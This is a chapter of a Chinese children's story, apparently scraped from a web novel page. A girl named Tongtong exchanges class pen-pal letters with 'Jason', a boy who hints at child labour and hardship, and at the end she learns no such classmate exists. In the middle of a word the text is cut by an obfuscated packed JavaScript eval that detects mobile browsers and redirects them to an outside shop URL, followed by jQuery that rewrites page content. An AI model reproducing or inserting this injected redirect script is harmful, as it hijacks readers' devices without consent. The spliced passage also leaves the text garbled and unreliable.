“小琪！快点呀，要迟到啦！”
彤彤踮着脚，探着头往学校里张望。她的同桌兼死党小琪正手忙脚乱地在裤兜里翻找，嘴里还嘟囔着：“哎呀，出门太急忘戴了，我妈又要骂死我了。”
她今天出门太急，把红领巾落在了家里。眼看执勤的高年级同学戴着红袖章，正板着小脸检查入校学生的仪容仪表，没戴红领巾可是要被记名扣分的。
“阿姨，红领巾多少钱一条？”小琪的声音带着点焦急的奶气。
“一块钱一条，小姑娘快拿上，别迟到了。”摊主是个笑眯眯的阿姨，手脚麻利地从一摞叠得整整齐齐的红领巾里抽出一条，递了过去。
彤彤百无聊赖地等着，目光却被摊子一角的一叠信封吸引了。那信封是粉红色的，上面印着一只歪着头的小熊，看起来憨态可掬，摸上去纸张厚实，还带着淡淡的草莓香味。
“阿姨，这个多少钱？”彤彤忍不住拿起一袋，袋子上写着“5枚装”。
“两块钱，单买一个五毛钱。小姑娘，买一袋送你一张贴纸哦。”阿姨热情地推销。
彤彤的手指轻轻摩挲着信封的边缘，有些不舍地把信封放回原处，像是在跟一个失之交臂的朋友告别。
就在这时，小琪付完红领巾的钱，一眼看到了彤彤眼中的渴望：“哎？彤彤你也缺信封啦？我正好也没了，我买一袋，你挑一个！”
“真的吗？”彤彤的眼睛瞬间亮了起来，像是落进了两颗小星星。
小琪大方地撕开包装，把整袋信封都推到彤彤面前：“挑挑挑！看上哪个拿哪个！咱们谁跟谁呀！”
彤彤小心翼翼地从里面挑出那个印着小熊的信封，把它紧紧攥在手心里，仿佛捧着什么稀世珍宝。两人手拉手跑进教室，晨读的铃声刚刚响起。
一进教室，彤彤就像离弦的小箭一样，甩开小琪的手，直奔教室后墙那个刚装上的小信箱——那是新来的英语张老师布置的“笔友计划”专用信箱，每个格子上都贴着同学们的名字。她的小手扒在信箱的缝隙上，眼睛瞪得圆圆的，仔细地翻找着里面的信件。
指尖触到了一张薄薄的纸。彤彤猛地抽出来，上面写着Tina——那是张老师给她起的英文名字。展开一看，果然是杰森那熟悉的字迹。她嘴角的笑意怎么也藏不住，忍不住原地蹦了一下。
“哼。”一声带着酸味的冷哼从旁边传来。小琪抱着胳膊站在那儿，眉头皱成了小山丘。
“彤彤，你变了！以前你还跟我说那个杰森有多讨厌，说什么再也不理他了。现在呢？我看你们现在一天写一封信，关系好得不得了，都不跟我玩了！”
彤彤连忙收起信，转身抱住小琪的胳膊摇晃起来：“哎呀，小琪最好了！在我心里你永远是第一！”
小琪虽然还是嘟着嘴，但眼里的醋意消散了不少，忍不住笑了出来：“这还差不多。”
彤彤这才心满意足地回到座位上，心里盘算着这周的信要写什么。其实，这一切都源于新来的张老师。这位年轻的女老师刚接手他们班的英语课，热情高涨，为了锻炼大家的英语能力，布置了一个特殊的作业——假设自己有一位远在美国的笔友，每周写一封信，放进班级信箱，老师会“代为转交”。
刚开始，彤彤也认认真真地写了，可等来等去，信箱里都没有她的回信，再加上张老师后来也没再提起这件事，她也就乐得清闲，把这事抛到了脑后。谁知道一个月后，张老师突然宣布，让所有同学都要把这段时间的信件整理汇总成一篇长文，交给她订正。
彤彤当时就慌了，她从第一封之后就再也没写过，哪里来的信件汇总？要是被老师发现自己没写作业，肯定要被批评，还要请家长的。
为了不被老师发现没写作业，她硬着头皮憋了一天，结果一个字也编不出来。最后还是厚着脸皮去邻居家借了姐姐的作文书，抄了几篇范文，东拼西凑才算应付过去。
好在张老师并没有发现端倪，批改后发回来让大家誊抄背诵。彤彤悬着的心终于落了地，可随之而来的是满满的委屈和愤怒——自己这么提心吊胆，都是那个不回信的笔友的错！再想到她以后的作业也没有着落，她越想越气，立刻拿出纸笔，写下了一封带着怒气的信，塞进了信箱里，质问对方为什么不回信。
也许是她的怒气起了作用，没过几天，信箱里终于出现了杰森的回信。
虽然对他的初始印象差到了极点，两人经常因为一点小事针尖对麦芒。可慢慢的，彤彤发现，这个杰森虽然说话不可爱，心底却藏着意想不到的温柔。
有一次，彤彤在信里委屈地说，自己数学考试没考好，回家肯定要挨打了，杰森却语气依旧淡淡地回复：「我也经常被我爸爸打，没什么大不了的，忍一忍就过去了。」
还有一次，彤彤说想养猫，被妈妈骂了，杰森却开玩笑说：「我有时候甚至想和流浪猫抢吃的，它们运气好的时候能找到热乎的残羹冷炙。」
虽然这些话听起来奇奇怪怪的，可每次看完，彤彤心里的委屈和难过都会少一大半。这个叫做杰森的男孩，像一个偷偷藏在信箱里的小知己，总能用他独有的方式，哄好她的小情绪。
这不，前两天晚上，家里又爆发了争吵。妈妈看着比同龄人矮一截的彤彤，急得直跺脚，特意给她订了附近奶厂的鲜牛奶，说是要补钙。可爸爸却强烈反对，说家里没钱负担这份开支。两人越吵越凶，爸爸说妈妈乱花钱，妈妈则反唇相讥：“你只要少抽几包烟，少喝几顿酒，这钱不就有了吗？”
彤彤趴在书桌前，听着碗碟碰撞的声音，默默在纸上写道：「其实我也不是很喜欢喝牛奶，但是妈妈说必须喝，说这样能长高。」
第二天，杰森的回信就躺在了信箱里。他的语气难得认真，没有了往日的毒舌或者漫不经心：「你妈妈是对的，喝牛奶能长高。我也想快点长高长大，这样就能出去挣大钱养家了，不像现在，只能打一些微不足道的零工，挣一点点钱。」
彤彤看到这句话，眼睛一下子瞪得圆圆的，手里的信差点掉在地上。
零工？
杰森和她一样大，都是十岁左右的小孩子，怎么会出去打零工呢？
她赶紧提笔，带着满满的震惊和严肃，写下了一行字：「杰森！你不能出去打工！我们老师说，童工是违法的！是要被警察抓走的！」
她以为杰森会害怕，会惊讶，可对方的回信，却轻描淡写得让她心惊。
「没事，只要外表看不出来我是小孩子就可以了。而且，小孩子一个人在家独处被发现了，报警才会连累家长受罚，出去工作没人管的。」
独处？报警？连累家长？
这些陌生的词汇，像一颗颗小石子，砸在彤彤小小的心湖里，激起了层层涟漪。她忽然想起很多事情。
想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471812|201523||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起妈妈每天早上一大早就起来给她做早饭，送她上学，然后赶去上班，中午还要给她做饭，下午放学妈妈再来接她，晚上妈妈陪她写作业……
原来是因为法律规定，小孩子不能一个人待着。
原来是因为如果妈妈不看着她，就会有警察来抓妈妈。
那天晚上，妈妈照例坐在彤彤旁边辅导她写作业。妈妈其实学历不高，小学都没毕业，但她还是会坐在旁边，看着彤彤写。
彤彤写着写着，忽然抬起头来，小声问道：“妈，我问你一个事儿。”
“什么事？”妈妈正在翻她的英语作业本。
“就是……如果我去打工挣钱的话，你会不会……会不会被抓走啊？”
妈妈翻作业本的手停住了。她慢慢抬起头来，看着彤彤，眉头微微皱起：“你从哪儿听来的？”
彤彤心里“咯噔”一下，但她反应很快，故作轻松地说：“没、没从哪儿听来，就是……就是看电视里演的嘛，说小孩子不能一个人待着，不然家长要坐牢。”
妈妈盯着她看了好一会儿。那双眼睛不算大，眼角的细纹在台灯的光线下格外清晰，但目光很锐利，像是要把彤彤的心思看穿似的。彤彤被看得有点发毛，手心都冒汗了，但她咬着牙没有移开视线。
几秒钟之后，妈妈收回了目光，低下头继续翻作业本，语气平淡地说：“雇佣童工的人才会受罚。家长的话……最多批评教育吧。”
“哦……”彤彤松了一口气，又追问道，“那如果我自己想打工呢？也不行吗？”
“不行。”妈妈这次回答得很干脆，“你好好上你的学，别想这些有的没的。作业写完了没有？”
“还、还没……”
“那就赶紧写。”
彤彤乖乖低下头继续写作业，但她的脑子已经飞到了九霄云外。
这些日子的信件交流里，彤彤其实早就察觉到了不对劲。杰森的信件，从来都不用干净的新信纸，有时候是写在广告纸的背面，有时候是写在她寄过去的信的反面，纸张皱皱巴巴的，边缘还带着磨损的痕迹。她原本以为，杰森的家境顶多和自己一样，不算富裕，可她从来没想过，这个和她同龄的男孩，竟然已经要靠打零工挣钱养家了。
小小的心里，涌起了一种叫做心疼的情绪，酸酸的，涩涩的，让她坐立难安。
第二天一早，奶厂的工人把新鲜的牛奶送到了家门口，玻璃瓶装的牛奶冒着淡淡的热气，瓶口用白色的纸封着。彤彤看着牛奶瓶，眼睛突然一亮，一个小小的念头在心里冒了出来。
“妈妈，我把牛奶带到学校去喝吧！”彤彤抱着牛奶瓶，仰着小脸对妈妈说。
妈妈正在收拾碗筷，叮嘱道：“记得把玻璃瓶带回来，奶厂要回收的，丢了要赔钱的。”
“我知道啦！”彤彤连连点头，把牛奶瓶小心翼翼地放进书包里，背着书包蹦蹦跳跳地去了学校。
一到教室，彤彤就从抽屉里拿出小琪之前给她的一包小熊饼干，跑到英语课代表面前，把饼干塞给对方，才终于贿赂出了交换信件的班级。
彤彤道了谢，揣着书包里的牛奶瓶，一路小跑，跑到了三班教室门口，对着教室里的同学小声问：“请问，杰森在吗？我找杰森。”
教室里的同学你看看我，我看看你，都摇了摇头。
“杰森？我们班没有叫杰森的同学啊。”